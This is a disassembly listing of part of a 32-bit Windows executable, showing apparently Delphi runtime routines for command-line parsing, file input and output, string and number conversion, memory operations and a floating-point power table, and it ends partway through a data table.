loc_40002FAA: ; CODE XREF: sub_40002EFC+B9j movzx eax, byte ptr [ebx] mov [ebp+esi+0], al inc ebx inc esi cmp edi, ebx ja short loc_40002FAA loc_40002FB7: ; CODE XREF: sub_40002EFC+A0j ; sub_40002EFC+ACj cmp byte ptr [ebx], 0 jz short loc_40002FC1 cmp byte ptr [ebx], 22h jnz short loc_40002F9E loc_40002FC1: ; CODE XREF: sub_40002EFC+BEj cmp byte ptr [ebx], 0 jz short loc_40002FE9 push ebx call sub_400011A0 ; CharNextA mov ebx, eax jmp short loc_40002FE9 ; --------------------------------------------------------------------------- loc_40002FD0: ; CODE XREF: sub_40002EFC+96j push ebx call sub_400011A0 ; CharNextA mov edi, eax cmp edi, ebx jbe short loc_40002FE9 loc_40002FDC: ; CODE XREF: sub_40002EFC+EBj movzx eax, byte ptr [ebx] mov [ebp+esi+0], al inc ebx inc esi cmp edi, ebx ja short loc_40002FDC loc_40002FE9: ; CODE XREF: sub_40002EFC+91j ; sub_40002EFC+C8j ... cmp byte ptr [ebx], 20h ja short loc_40002F8F mov eax, ebx pop edx pop ebp pop edi pop esi pop ebx retn sub_40002EFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002FF8 proc near ; CODE XREF: sub_400171BC+83p ; sub_400171BC+D6p ... var_114 = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_40004884 test esi, esi jnz short loc_4000302E push 105h lea eax, [esp+118h+var_114] push eax push 0 call sub_400011E8 ; GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_40004974 jmp short loc_4000304C ; --------------------------------------------------------------------------- loc_4000302E: ; CODE XREF: sub_40002FF8+16j call sub_400011D0 ; GetCommandLineA mov edi, eax loc_40003035: ; CODE XREF: sub_40002FF8+52j mov edx, ebx mov eax, edi call sub_40002EFC mov edi, eax test esi, esi jz short loc_4000304C cmp dword ptr [ebx], 0 jz short loc_4000304C dec esi jmp short loc_40003035 ; --------------------------------------------------------------------------- loc_4000304C: ; CODE XREF: sub_40002FF8+34j ; sub_40002FF8+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_40002FF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003058 proc near ; CODE XREF: sub_40017F10+3p var_8 = dword ptr -8 add esp, 0FFFFFFF8h push esp call sub_40001290 ; QueryPerformanceCounter test eax, eax jz short loc_40003070 mov eax, [esp+8+var_8] mov dword_4001A008, eax pop ecx pop edx retn ; --------------------------------------------------------------------------- loc_40003070: ; CODE XREF: sub_40003058+Bj call sub_40001298 ; GetTickCount mov dword_4001A008, eax pop ecx pop edx retn sub_40003058 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003080 proc near ; CODE XREF: sub_40017F10+Dp ; .itext:40019927p ... push ebx xor ebx, ebx imul edx, dword_4001A008[ebx], 8088405h inc edx mov dword_4001A008[ebx], edx mul edx mov eax, edx pop ebx retn sub_40003080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000309C proc near ; CODE XREF: sub_40005754+62p ; sub_40005754+7Ap cmp al, 61h jb short locret_400030A6 cmp al, 7Ah ja short locret_400030A6 sub al, 20h locret_400030A6: ; CODE XREF: sub_4000309C+2j ; sub_4000309C+6j retn sub_4000309C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400030A8 proc near ; CODE XREF: sub_4000ED90+D4p ; sub_4000ED90+F5p ... var_8 = qword ptr -8 sub esp, 8 fistp [esp+8+var_8] wait pop eax pop edx retn sub_400030A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_400030B4 proc near ; CODE XREF: sub_40003EC8+10j ; DATA XREF: .text:4000D688o ... cmp ds:off_4001C02C, 0 jz short loc_400030C3 call ds:off_4001C02C loc_400030C3: ; CODE XREF: sub_400030B4+7j mov eax, 0D2h jmp sub_40004878 sub_400030B4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400030D0 proc near ; DATA XREF: .text:400031ACo push ebx mov ebx, eax xor eax, eax mov [ebx+10h], eax xor eax, eax mov [ebx+0Ch], eax push 0 lea eax, [ebx+10h] push eax mov eax, [ebx+8] push eax mov eax, [ebx+14h] push eax mov eax, [ebx] push eax call sub_40001170 ; ReadFile test eax, eax jnz short loc_40003105 call sub_400011D8 ; RtlGetLastWin32Error cmp eax, 6Dh jnz short loc_40003107 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40003105: ; CODE XREF: sub_400030D0+25j xor eax, eax loc_40003107: ; CODE XREF: sub_400030D0+2Fj pop ebx retn sub_400030D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000310C proc near ; DATA XREF: .text:400031E3o ; .text:400032B3o ... xor eax, eax retn sub_4000310C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003110 proc near ; DATA XREF: .text:loc_400031D5o ; .text:400032FBo var_C = byte ptr -0Ch push ebx push esi push ecx mov ebx, eax mov esi, [ebx+0Ch] test esi, esi jnz short loc_40003120 xor eax, eax jmp short loc_40003146 ; --------------------------------------------------------------------------- loc_40003120: ; CODE XREF: sub_40003110+Aj push 0 lea eax, [esp+10h+var_C] push eax push esi mov eax, [ebx+14h] push eax mov eax, [ebx] push eax call sub_40001198 ; WriteFile test eax, eax jnz short loc_4000313F call sub_400011D8 ; RtlGetLastWin32Error jmp short loc_40003141 ; --------------------------------------------------------------------------- loc_4000313F: ; CODE XREF: sub_40003110+26j xor eax, eax loc_40003141: ; CODE XREF: sub_40003110+2Dj xor edx, edx mov [ebx+0Ch], edx loc_40003146: ; CODE XREF: sub_40003110+Ej pop edx pop esi pop ebx retn sub_40003110 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000314C proc near ; CODE XREF: sub_4000315C+Bp ; sub_4000361C+Ep push ebx mov ebx, eax push ebx call sub_40001140 ; CloseHandle dec eax setz al pop ebx retn sub_4000314C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000315C proc near ; DATA XREF: .text:loc_400031DCo push ebx mov ebx, eax mov word ptr [ebx+4], 0D7B0h mov eax, [ebx] call sub_4000314C test al, al jnz short loc_40003177 call sub_400011D8 ; RtlGetLastWin32Error pop ebx retn ; --------------------------------------------------------------------------- loc_40003177: ; CODE XREF: sub_4000315C+12j xor eax, eax pop ebx retn sub_4000315C endp ; --------------------------------------------------------------------------- align 4 loc_4000317C: ; DATA XREF: sub_40003328+35o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov ax, [esi+4] sub eax, 0D7B1h jz short loc_4000319D dec eax jz short loc_400031B5 dec eax jz short loc_400031C6 jmp loc_40003304 ; --------------------------------------------------------------------------- loc_4000319D: ; CODE XREF: .text:40003190j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset sub_400030D0 jmp short loc_400031DC ; --------------------------------------------------------------------------- loc_400031B5: ; CODE XREF: .text:40003193j mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_400031D5 ; --------------------------------------------------------------------------- loc_400031C6: ; CODE XREF: .text:40003196j mov eax, 0C0000000h mov edx, 1 mov ecx, 3 loc_400031D5: ; CODE XREF: .text:400031C4j mov dword ptr [esi+1Ch], offset sub_40003110 loc_400031DC: ; CODE XREF: .text:400031B3j mov dword ptr [esi+24h], offset sub_4000315C mov dword ptr [esi+20h], offset sub_4000310C cmp byte ptr [esi+48h], 0 jz loc_400032A6 push 0 push 80h push ecx push 0 push edx push eax lea eax, [esi+48h] push eax call sub_40001148 ; CreateFileA cmp eax, 0FFFFFFFFh jz loc_4000331A mov [esi], eax cmp word ptr [esi+4], 0D7B3h jnz loc_400032E3 dec word ptr [esi+4] push 0 push dword ptr [esi] call sub_40001158 ; GetFileSize inc eax jz loc_4000331A sub eax, 81h jnb short loc_4000323D xor eax, eax loc_4000323D: ; CODE XREF: .text:40003239j push 0 push 0 push eax push dword ptr [esi] call sub_40001188 ; SetFilePointer inc eax jz loc_4000331A push 0 mov edx, esp push 0 push edx push 80h lea edx, [esi+14Ch] push edx push dword ptr [esi] call sub_40001170 ; ReadFile pop edx dec eax jnz loc_4000331A xor eax, eax loc_40003274: ; CODE XREF: .text:40003283j cmp eax, edx jnb short loc_400032E3 cmp byte ptr [esi+eax+14Ch], 0Eh jz short loc_40003285 inc eax jmp short loc_40003274 ; --------------------------------------------------------------------------- loc_40003285: ; CODE XREF: .text:40003280j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call sub_40001188 ; SetFilePointer inc eax jz loc_4000331A push dword ptr [esi] call sub_40001180 ; SetEndOfFile dec eax jnz short loc_4000331A jmp short loc_400032E3 ; --------------------------------------------------------------------------- loc_400032A6: ; CODE XREF: .text:400031EEj lea eax, [esi+14Ch] mov dword ptr [esi+8], 80h mov dword ptr [esi+24h], offset sub_4000310C mov [esi+14h], eax cmp word ptr [esi+4], 0D7B2h jz short loc_400032C9 push 0FFFFFFF6h jmp short loc_400032D7 ; --------------------------------------------------------------------------- loc_400032C9: ; CODE XREF: .text:400032C3j cmp esi, offset dword_4001C3E8 jnz short loc_400032D5 push 0FFFFFFF4h jmp short loc_400032D7 ; --------------------------------------------------------------------------- loc_400032D5: ; CODE XREF: .text:400032CFj push 0FFFFFFF5h loc_400032D7: ; CODE XREF: .text:400032C7j ; .text:400032D3j call sub_40001160 ; GetStdHandle cmp eax, 0FFFFFFFFh jz short loc_4000331A mov [esi], eax loc_400032E3: ; CODE XREF: .text:4000321Aj ; .text:40003276j ... cmp word ptr [esi+4], 0D7B1h jz short loc_40003302 push dword ptr [esi] call sub_40001150 ; GetFileType test eax, eax jz short loc_40003306 cmp eax, 2 jnz short loc_40003302 mov dword ptr [esi+20h], offset sub_40003110 loc_40003302: ; CODE XREF: .text:400032E9j ; .text:400032F9j xor eax, eax loc_40003304: ; CODE XREF: .text:40003198j ; .text:40003318j ... pop esi retn ; --------------------------------------------------------------------------- loc_40003306: ; CODE XREF: .text:400032F4j push dword ptr [esi] call sub_40001140 ; CloseHandle mov word ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_40003304 ; --------------------------------------------------------------------------- loc_4000331A: ; CODE XREF: .text:4000320Cj ; .text:4000322Ej ... mov word ptr [esi+4], 0D7B0h call sub_400011D8 ; RtlGetLastWin32Error jmp short loc_40003304 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40003328 proc near ; CODE XREF: .itext:400199DCp push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx xor ecx, ecx mov edx, 14Ch call sub_40003580 lea eax, [ebx+14Ch] mov [ebx+14h], eax mov word ptr [ebx+4], 0D7B0h movzx eax, byte_4001A034 mov [ebx+6], ax mov dword ptr [ebx+8], 80h mov dword ptr [ebx+18h], offset loc_4000317C mov eax, esi call sub_40004B44 push eax mov eax, esi call sub_40004D48 lea edx, [ebx+48h] pop ecx call sub_40002DFC mov eax, esi call sub_40004B44 mov byte ptr [ebx+eax+48h], 0 xor eax, eax pop esi pop ebx retn sub_40003328 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003390 proc near ; CODE XREF: sub_400033D8+3p push ebx movzx ecx, word ptr [eax+4] sub cx, 0D7B1h jz short loc_400033AB dec ecx sub cx, 2 jnb short loc_400033AF mov ebx, edx call ebx mov ebx, eax jmp short loc_400033C6 ; --------------------------------------------------------------------------- loc_400033AB: ; CODE XREF: sub_40003390+Aj xor ebx, ebx jmp short loc_400033C6 ; --------------------------------------------------------------------------- loc_400033AF: ; CODE XREF: sub_40003390+11j cmp eax, offset dword_4001C21C jz short loc_400033BD cmp eax, offset dword_4001C3E8 jnz short loc_400033C1 loc_400033BD: ; CODE XREF: sub_40003390+24j xor ebx, ebx jmp short loc_400033C6 ; --------------------------------------------------------------------------- loc_400033C1: ; CODE XREF: sub_40003390+2Bj mov ebx, 67h loc_400033C6: ; CODE XREF: sub_40003390+19j ; sub_40003390+1Dj ... test ebx, ebx jz short loc_400033D1 mov eax, ebx call sub_40002D7C loc_400033D1: ; CODE XREF: sub_40003390+38j mov eax, ebx pop ebx retn sub_40003390 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400033D8 proc near ; CODE XREF: sub_4000AF68+23p mov edx, [eax+1Ch] call sub_40003390 retn sub_400033D8 endp ; --------------------------------------------------------------------------- align 4 loc_400033E4: ; DATA XREF: sub_4000347C+Do jmp ds:dword_40024480 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400033EC proc near ; CODE XREF: sub_4000347C+14p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, [ebp+arg_8] movzx edx, word ptr [ebx+4] and edx, eax cmp eax, edx jnz short loc_40003460 push 0 lea eax, [ebp+var_4] push eax mov eax, [ebx+8] imul esi push eax push edi mov eax, [ebx] push eax call [ebp+arg_4] test eax, eax jnz short loc_4000342E call sub_400011D8 ; RtlGetLastWin32Error call sub_40002D7C xor eax, eax mov [ebp+var_4], eax jmp short loc_4000346F ; --------------------------------------------------------------------------- loc_4000342E: ; CODE XREF: sub_400033EC+2Fj mov ecx, [ebx+8] mov eax, [ebp+var_4] xor edx, edx div ecx mov [ebp+var_4], eax mov eax, [ebp+arg_C] test eax, eax jz short loc_4000344C mov eax, [ebp+arg_C] mov edx, [ebp+var_4] mov [eax], edx jmp short loc_4000346F ; --------------------------------------------------------------------------- loc_4000344C: ; CODE XREF: sub_400033EC+54j cmp esi, [ebp+var_4] jz short loc_4000346F mov eax, [ebp+arg_0] call sub_40002D7C xor eax, eax mov [ebp+var_4], eax jmp short loc_4000346F ; --------------------------------------------------------------------------- loc_40003460: ; CODE XREF: sub_400033EC+18j mov eax, 67h call sub_40002D7C xor eax, eax mov [ebp+var_4], eax loc_4000346F: ; CODE XREF: sub_400033EC+40j ; sub_400033EC+5Ej ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_400033EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000347C proc near ; CODE XREF: .itext:40019A30p ; .itext:40019A56p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push 0D7B2h push offset loc_400033E4 push 65h call sub_400033EC pop ebx pop ebp retn 4 sub_4000347C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000349C proc near ; CODE XREF: sub_40006350+1Ep ; sub_40006350+28p ... push ebx push esi mov ebx, eax xor esi, esi movzx eax, word ptr [ebx+4] cmp ax, 0D7B1h jb short loc_400034DB cmp ax, 0D7B3h ja short loc_400034DB and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_400034C3 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_400034C3: ; CODE XREF: sub_4000349C+1Ej test esi, esi jnz short loc_400034CE mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_400034CE: ; CODE XREF: sub_4000349C+29j test esi, esi jz short loc_400034ED mov eax, esi call sub_40002D7C jmp short loc_400034ED ; --------------------------------------------------------------------------- loc_400034DB: ; CODE XREF: sub_4000349C+Ej ; sub_4000349C+14j cmp ebx, offset dword_4001C050 jz short loc_400034ED mov eax, 67h call sub_40002D7C loc_400034ED: ; CODE XREF: sub_4000349C+34j ; sub_4000349C+3Dj ... mov eax, esi pop esi pop ebx retn sub_4000349C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400034F4 proc near ; CODE XREF: .text:40015A44p push ebx movzx ebx, byte ptr [edx] cmp cl, bl jbe short loc_400034FE mov ecx, ebx loc_400034FE: ; CODE XREF: sub_400034F4+6j mov [eax], cl inc edx inc eax movzx ecx, cl xchg eax, edx call sub_40002DFC pop ebx retn sub_400034F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003510 proc near ; CODE XREF: sub_40014F60+1Bp push ebx push esi push ecx mov esi, ecx shr esi, 2 jz short loc_40003540 loc_4000351A: ; CODE XREF: sub_40003510+26j mov ecx, [eax] mov ebx, [edx] cmp ecx, ebx jnz short loc_40003567 dec esi jz short loc_4000353A mov ecx, [eax+4] mov ebx, [edx+4] cmp ecx, ebx jnz short loc_40003567 add eax, 8 add edx, 8 dec esi jnz short loc_4000351A jmp short loc_40003540 ; --------------------------------------------------------------------------- loc_4000353A: ; CODE XREF: sub_40003510+13j add eax, 4 add edx, 4 loc_40003540: ; CODE XREF: sub_40003510+8j ; sub_40003510+28j pop esi and esi, 3 jz short loc_4000357C mov cl, [eax] cmp cl, [edx] jnz short loc_4000357C dec esi jz short loc_40003562 mov cl, [eax+1] cmp cl, [edx+1] jnz short loc_4000357C dec esi jz short loc_40003562 mov cl, [eax+2] cmp cl, [edx+2] jnz short loc_4000357C loc_40003562: ; CODE XREF: sub_40003510+3Dj ; sub_40003510+48j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40003567: ; CODE XREF: sub_40003510+10j ; sub_40003510+1Dj pop esi cmp cl, bl jnz short loc_4000357C cmp ch, bh jnz short loc_4000357C shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_4000357C cmp ch, bh loc_4000357C: ; CODE XREF: sub_40003510+34j ; sub_40003510+3Aj ... pop esi pop ebx retn sub_40003510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003580 proc near ; CODE XREF: sub_40002540+2Cp ; sub_40002540+3Ep ... cmp edx, 20h mov ch, cl jl short loc_400035C4 mov [eax], cx mov [eax+2], cx mov [eax+4], cx mov [eax+6], cx sub edx, 10h fld qword ptr [eax] fst qword ptr [edx+eax] fst qword ptr [edx+eax+8] mov ecx, eax and ecx, 7 sub ecx, 8 sub eax, ecx add edx, ecx add eax, edx neg edx loc_400035B2: ; CODE XREF: sub_40003580+3Cj fst qword ptr [edx+eax] fst qword ptr [edx+eax+8] add edx, 10h jl short loc_400035B2 ffree st retn ; --------------------------------------------------------------------------- align 4 loc_400035C4: ; CODE XREF: sub_40003580+5j test edx, edx jle short nullsub_1 mov [edx+eax-1], cl and edx, 0FFFFFFFEh neg edx lea edx, nullsub_1[edx*2] jmp edx sub_40003580 endp ; --------------------------------------------------------------------------- align 4 mov [eax+1Ch], cx mov [eax+1Ah], cx mov [eax+18h], cx mov [eax+16h], cx mov [eax+14h], cx mov [eax+12h], cx mov [eax+10h], cx mov [eax+0Eh], cx mov [eax+0Ch], cx mov [eax+0Ah], cx mov [eax+8], cx mov [eax+6], cx mov [eax+4], cx mov [eax+2], cx mov [eax], cx retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_4000361C proc near ; DATA XREF: sub_40003644+35o push ebx push esi mov ebx, eax mov word ptr [ebx+4], 0D7B0h xor esi, esi mov eax, [ebx] call sub_4000314C test al, al jnz short loc_4000363D call sub_40002D8C mov esi, 1 loc_4000363D: ; CODE XREF: sub_4000361C+15j mov eax, esi pop esi pop ebx retn sub_4000361C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003644 proc near ; CODE XREF: sub_40003724+5p push ebx push esi push edi mov esi, edx mov edi, ecx xor edx, edx mov ebx, eax mov dx, [eax+4] sub edx, 0D7B0h jz short loc_40003670 cmp edx, 3 ja loc_40003706 call dword ptr [ebx+24h] test eax, eax jz short loc_40003670 call sub_40002D7C loc_40003670: ; CODE XREF: sub_40003644+15j ; sub_40003644+25j mov word ptr [ebx+4], 0D7B3h mov [ebx+8], esi mov dword ptr [ebx+24h], offset sub_4000361C mov dword ptr [ebx+1Ch], offset sub_4000310C cmp byte ptr [ebx+48h], 0 jz short loc_400036ED mov eax, 0C0000000h mov dl, byte_4001A00C and edx, 70h shr edx, 2 mov edx, dword_4001A758[edx] mov ecx, 2 sub edi, 3 jz short loc_400036CF mov ecx, 3 inc edi jz short loc_400036CF mov eax, 40000000h inc edi mov word ptr [ebx+4], 0D7B2h jz short loc_400036CF mov eax, 80000000h mov word ptr [ebx+4], 0D7B1h loc_400036CF: ; CODE XREF: sub_40003644+68j ; sub_40003644+70j ... push 0 push 80h push ecx push 0 push edx push eax lea eax, [ebx+48h] push eax call sub_40001148 ; CreateFileA loc_400036E4: ; CODE XREF: sub_40003644+C0j cmp eax, 0FFFFFFFFh jz short loc_4000370D mov [ebx], eax jmp short loc_4000371D ; --------------------------------------------------------------------------- loc_400036ED: ; CODE XREF: sub_40003644+47j mov dword ptr [ebx+24h], offset sub_4000310C cmp edi, 3 jz short loc_400036FD push 0FFFFFFF6h jmp short loc_400036FF ; --------------------------------------------------------------------------- loc_400036FD: ; CODE XREF: sub_40003644+B3j push 0FFFFFFF5h loc_400036FF: ; CODE XREF: sub_40003644+B7j call sub_40001160 ; GetStdHandle jmp short loc_400036E4 ; --------------------------------------------------------------------------- loc_40003706: ; CODE XREF: sub_40003644+1Aj mov eax, 66h jmp short loc_40003718 ; --------------------------------------------------------------------------- loc_4000370D: ; CODE XREF: sub_40003644+A3j mov word ptr [ebx+4], 0D7B0h call sub_400011D8 ; RtlGetLastWin32Error loc_40003718: ; CODE XREF: sub_40003644+C7j call sub_40002D7C loc_4000371D: ; CODE XREF: sub_40003644+A7j pop edi pop esi pop ebx retn sub_40003644 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003724 proc near ; CODE XREF: .itext:400199EBp mov ecx, 3 call sub_40003644 retn sub_40003724 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003730 proc near ; CODE XREF: sub_40003790+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_40003747: ; CODE XREF: sub_40003730+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_40003747 test esi, esi jge short loc_4000375F mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_4000375F: ; CODE XREF: sub_40003730+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_40003773 mov ecx, 0FFh loc_40003773: ; CODE XREF: sub_40003730+3Cj sub ecx, ebx jle short loc_4000377E add [edi-1], cl mov al, 20h rep stosb loc_4000377E: ; CODE XREF: sub_40003730+45j ; sub_40003730+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_4000377E add esp, 18h pop edi pop esi pop ebx retn sub_40003730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003790 proc near ; CODE XREF: sub_40016CE8+2Ap mov ecx, edx xor edx, edx call sub_40003730 retn sub_40003790 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000379C proc near ; CODE XREF: sub_40007DD4+6p ; sub_40007DEC+Bp ... push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_40003812 xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_400037AF: ; CODE XREF: sub_4000379C+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_400037AF mov ch, 0 cmp bl, 2Dh jz short loc_40003820 cmp bl, 2Bh jz short loc_40003822 loc_400037C3: ; CODE XREF: sub_4000379C+89j cmp bl, 24h jz short loc_40003827 cmp bl, 78h jz short loc_40003827 cmp bl, 58h jz short loc_40003827 cmp bl, 30h jnz short loc_400037EA mov bl, [esi] inc esi cmp bl, 78h jz short loc_40003827 cmp bl, 58h jz short loc_40003827 test bl, bl jz short loc_40003808 jmp short loc_400037EE ; --------------------------------------------------------------------------- loc_400037EA: ; CODE XREF: sub_4000379C+39j test bl, bl jz short loc_4000381B loc_400037EE: ; CODE XREF: sub_4000379C+4Cj ; sub_4000379C+6Aj sub bl, 30h cmp bl, 9 ja short loc_4000381B cmp eax, edi ja short loc_4000381B lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_400037EE loc_40003808: ; CODE XREF: sub_4000379C+4Aj dec ch jz short loc_40003815 test eax, eax jge short loc_40003864 jmp short loc_4000381B ; --------------------------------------------------------------------------- loc_40003812: ; CODE XREF: sub_4000379C+8j ; sub_4000379C+95j inc esi jmp short loc_4000381B ; --------------------------------------------------------------------------- loc_40003815: ; CODE XREF: sub_4000379C+6Ej neg eax jle short loc_40003864 js short loc_40003864 loc_4000381B: ; CODE XREF: sub_4000379C+50j ; sub_4000379C+58j ... pop ebx sub esi, ebx jmp short loc_40003867 ; --------------------------------------------------------------------------- loc_40003820: ; CODE XREF: sub_4000379C+20j inc ch loc_40003822: ; CODE XREF: sub_4000379C+25j mov bl, [esi] inc esi jmp short loc_400037C3 ; --------------------------------------------------------------------------- loc_40003827: ; CODE XREF: sub_4000379C+2Aj ; sub_4000379C+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_40003812 loc_40003833: ; CODE XREF: sub_4000379C+C0j cmp bl, 61h jb short loc_4000383B sub bl, 20h loc_4000383B: ; CODE XREF: sub_4000379C+9Aj sub bl, 30h cmp bl, 9 jbe short loc_4000384E sub bl, 11h cmp bl, 5 ja short loc_4000381B add bl, 0Ah loc_4000384E: ; CODE XREF: sub_4000379C+A5j cmp eax, edi ja short loc_4000381B shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_40003833 dec ch jnz short loc_40003864 neg eax loc_40003864: ; CODE XREF: sub_4000379C+72j ; sub_4000379C+7Bj ... pop ecx xor esi, esi loc_40003867: ; CODE XREF: sub_4000379C+82j mov [edx], esi pop edi pop esi pop ebx retn sub_4000379C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40003870 proc near ; CODE XREF: sub_40008B01+58p ; sub_40008D00+85p jmp sub_40003878 sub_40003870 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003878 proc near ; CODE XREF: sub_40003870j push ebx xor ebx, ebx test eax, eax jl short loc_400038CC jz loc_4000391F cmp eax, 1400h jge loc_40003911 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld ds:tbyte_4000392B[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_4000391F mov edx, eax and edx, 0Fh jz short loc_400038B9 lea edx, [edx+edx*4] fld tbyte ptr ds:byte_40003A61[ebx+edx*2] fmulp st(1), st loc_400038B9: ; CODE XREF: sub_40003878+33j shr eax, 4 jz short loc_4000391F lea eax, [eax+eax*4] fld ds:tbyte_40003AF7[ebx+eax*2] fmulp st(1), st jmp short loc_4000391F ; --------------------------------------------------------------------------- loc_400038CC: ; CODE XREF: sub_40003878+5j neg eax cmp eax, 1400h jge short loc_4000391B mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld ds:tbyte_4000392B[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_4000391F mov edx, eax and edx, 0Fh jz short loc_400038FE lea edx, [edx+edx*4] fld tbyte ptr ds:byte_40003A61[ebx+edx*2] fdivp st(1), st loc_400038FE: ; CODE XREF: sub_40003878+78j shr eax, 4 jz short loc_4000391F lea eax, [eax+eax*4] fld ds:tbyte_40003AF7[ebx+eax*2] fdivp st(1), st jmp short loc_4000391F ; --------------------------------------------------------------------------- loc_40003911: ; CODE XREF: sub_40003878+12j fstp st fld ds:tbyte_40003921[ebx] jmp short loc_4000391F ; --------------------------------------------------------------------------- loc_4000391B: ; CODE XREF: sub_40003878+5Bj fstp st fldz loc_4000391F: ; CODE XREF: sub_40003878+7j ; sub_40003878+2Cj ... pop ebx retn sub_40003878 endp ; --------------------------------------------------------------------------- tbyte_40003921 dt 1.1897314953572317651e4932 ; DATA XREF: sub_40003878+9Br tbyte_4000392B dt 1.0 ; DATA XREF: sub_40003878+20r ; sub_40003878+65r align 4 dd 0 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 